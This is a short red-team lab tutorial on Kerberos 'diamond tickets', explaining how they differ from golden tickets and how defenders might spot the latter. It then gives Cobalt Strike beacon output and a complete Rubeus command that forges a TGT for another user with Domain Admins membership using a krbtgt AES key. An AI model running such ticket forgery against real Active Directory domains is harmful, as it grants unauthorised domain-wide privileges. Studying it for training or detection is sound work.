Diamond Tickets

Like a golden ticket, a diamond ticket is a TGT which can be used to access any service as any user. A golden ticket is forged completely offline, encrypted with the krbtgt hash of that domain, and then passed into a logon session for use. Because domain controllers don't track TGTs it (or they) have legitimately issued, they will happily accept TGTs that are encrypted with its own krbtgt hash.

Therefore, a possible tactic to detect the use of golden tickets is to look for TGS-REQs that have no corresponding AS-REQ. A "diamond ticket" is made by modifying the fields of a legitimate TGT that was issued by a DC. This is achieved by requesting a TGT, decrypting it with the domain's krbtgt hash, modifying the desired fields of the ticket, then re-encrypting it. This overcomes the aforementioned shortcoming of a golden ticket because any TGS-REQs will have a preceding AS-REQ.

First, we prove we have no access to the DC.

beacon> getuid
[*] You are DEV\bfarmer

beacon> ls \\dc-2.dev.cyberbotic.io\c$
[-] could not open \\dc-2.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

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Diamond tickets can be created with Rubeus.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap

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Where:

  • /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the current user without needing to know their password, NTLM/AES hash, or elevation on the host.

  • /ticketuser is the username of the user to impersonate.

  • /ticketuserid is the domain RID of that user.

  • /groups are the desired group RIDs (512 being Domain Admins).

  • /krbkey is the krbtgt AES256 hash.

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Rubeus describe will now show that this is a TGT for the target user.

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